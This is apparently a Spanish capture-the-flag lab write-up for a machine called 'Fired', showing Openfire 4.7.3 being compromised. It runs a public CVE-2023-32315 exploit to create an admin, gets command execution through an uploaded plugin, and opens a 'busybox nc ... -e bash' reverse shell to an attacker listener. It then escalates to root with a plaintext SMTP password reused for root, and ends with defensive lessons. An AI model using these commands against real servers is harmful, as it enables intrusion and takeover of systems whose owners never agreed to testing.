Fired
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Fired corre Openfire 4.7.3, vulnerable a la CVE-2023-32315: un path traversal en la consola de administración salta la autenticación y nos deja crear un admin (Openfire auth bypass (CVE-2023-32315)). Ya dentro, subimos el plugin "management tool", que ofrece un "Execute command" y nos da shell comoopenfire. La base de datos embebida (openfire.script) guarda una contraseña reutilizada como la de root (credenciales en el código/config).
Reconocimiento
Escaneo inicial
El TTL de respuesta es 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. SSH y los dos puertos de la consola de Openfire:
ping -c 1 192.168.131.96
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.131.96PORT STATE SERVICE
22/tcp open ssh
9090/tcp open hadoop-datanode
9091/tcp open ssl/hadoop-tasktrackernmap -p22,9090,9091 -sCV 192.168.131.96 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux)
9090/tcp open hadoop-datanode Apache Hadoop
9091/tcp open ssl/hadoop-tasktracker Apache HadoopLos "Apache Hadoop" son una firma engañosa: el 9090/9091 sirven la consola de administración de Openfire (los jive-* de las cabeceras lo delatan). El propio login de la consola muestra la versión: Openfire 4.7.3.

Explotación
CVE-2023-32315: bypass de autenticación
Openfire 4.7.x (antes de 4.7.5) es vulnerable a la CVE-2023-32315: un path traversal sobre la consola (/setup/setup-*) permite alcanzar páginas restringidas sin sesión, y con ello crear un usuario administrador (Openfire auth bypass (CVE-2023-32315)). Buscando el exploit por la versión aparece el de K3ysTr0K3R:

El exploit automatiza el registro de un admin nuevo:
python3 CVE-2023-32315.py -u http://192.168.131.96:9090
[+] Target is vulnerable
[+] Successfully added, here are the credentials
[+] Username: hugme
[+] Password: HugmeNOWRCE por el plugin "management tool"
Entramos en la consola con la cuenta creada, hugme/HugmeNOW:


Openfire permite subir plugins .jar desde Plugins → Upload Plugin. Subimos el conocido plugin "openfire management tool":

El plugin añade una entrada Management Tool en Server → Server Settings:

La herramienta pide una contraseña propia (123, la del plugin público):

Ya dentro, ofrece un modo system command con un campo Execute command. Un whoami confirma la RCE como openfire:

Antes de disparar la shell, dejamos Penelope a la escucha en el 22:
penelope 22Desde ese campo ejecutamos comandos con los privilegios del servicio; lanzamos una reverse shell:
busybox nc 192.168.45.204 22 -e bash
(Penelope)> listeners add -p 22
[+] Got reverse shell from openfire~192.168.131.96-Linux-x86_64 Assigned SessionID <1>
[+] Shell upgraded successfully using /bin/python3!
openfire@openfire:/$ whoami
openfireEl campo Execute command del plugin lanza el busybox nc y Penelope promociona la conexión a PTY: la shell corre como openfire, la cuenta de servicio.
Local
cat local.txt && whoami && ip a && hostname
9fa5c8ea7c2dcb09312c1d2c9c229b51
openfireEscalada de privilegios
Contraseña de root en openfire.script
Openfire usa una base de datos embebida en /var/lib/openfire/embedded-db/. El fichero openfire.script contiene los INSERT de configuración, incluidos secretos guardados en claro. Buscamos contraseñas (credenciales en el código/config):
cd /var/lib/openfire/embedded-db
cat openfire.script | grep passINSERT INTO OFPROPERTY VALUES('mail.smtp.password','OpenFireAtEveryone',0,NULL)
INSERT INTO OFPROPERTY VALUES('passwordKey','EOAJUe2Sqdlfqjk',0,NULL)La contraseña SMTP, OpenFireAtEveryone, está reutilizada como contraseña de root:
su root # OpenFireAtEveryone
openfire@openfire:/var/lib/openfire/embedded-db$ su root
Password:
root@openfire:/var/lib/openfire/embedded-db# whoami
rootLa contraseña SMTP estaba reutilizada como contraseña de root: su root con OpenFireAtEveryone nos da la cuenta de root.
Root
cat /root/proof.txt && whoami && ip a && hostname
673d5a3b8870d82b06088246e71d1d87
rootCadena de ataque
Openfire (9090/9091) -- consola de administración 4.7.3
│ CVE-2023-32315: path traversal -> crear admin hugme/HugmeNOW
│ subir plugin management tool -> Execute command -> reverse shell
▼
openfire (local.txt)
│ openfire.script filtra mail.smtp.password = OpenFireAtEveryone
▼
root (proof.txt) [su con OpenFireAtEveryone]Lecciones aprendidas
- El banner puede mentir; identifica por el contenido. nmap etiquetó los puertos como "Apache Hadoop", pero las cabeceras
jive-*y la interfaz revelaban Openfire. No te fíes solo del-sCV. - Un path traversal en el setup salta la autenticación. La CVE-2023-32315 alcanzaba páginas de configuración sin sesión, y desde ahí se crea un admin. Mantener el servicio parcheado (4.7.5+) lo evita.
- Subir plugins como admin es RCE. Un panel administrativo que acepta
.jararbitrarios da ejecución de código. El acceso admin debe protegerse como una cuenta con shell. - No guardes secretos reutilizados en la config.
openfire.scripttenía la contraseña SMTP en claro, y esa misma valía para root. Los secretos deben ser únicos por servicio y, a ser posible, no persistirse en texto plano.